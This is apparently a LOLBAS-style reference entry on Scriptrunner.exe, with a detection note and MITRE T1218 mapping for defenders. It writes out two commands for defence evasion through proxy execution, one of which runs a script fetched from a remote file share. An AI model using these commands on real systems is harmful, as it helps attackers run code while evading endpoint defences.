.. / Scriptrunner.exe
Star


Paths:


Resources:
https://twitter.com/KyleHanslovan/status/914800377580503040
https://twitter.com/NickTyrer/status/914234924655312896
https://github.com/MoooKitty/Code-Execution

Acknowledgement:
Nick Tyrer - @nicktyrer


Detection:
Scriptrunner.exe should not be in use unless App-v is deployed



Execute

Executes calc.exe
Scriptrunner.exe -appvscript calc.exe
Usecase:Execute binary through proxy binary to evade defensive counter measurments
Privileges required:User
OS:Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Mitre:T1218



Executes calc.cmde from remote server
ScriptRunner.exe -appvscript "\\fileserver\calc.cmd"
Usecase:Execute binary through proxy binary from external server to evade defensive counter measurments
Privileges required:User
OS:Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Mitre:T1218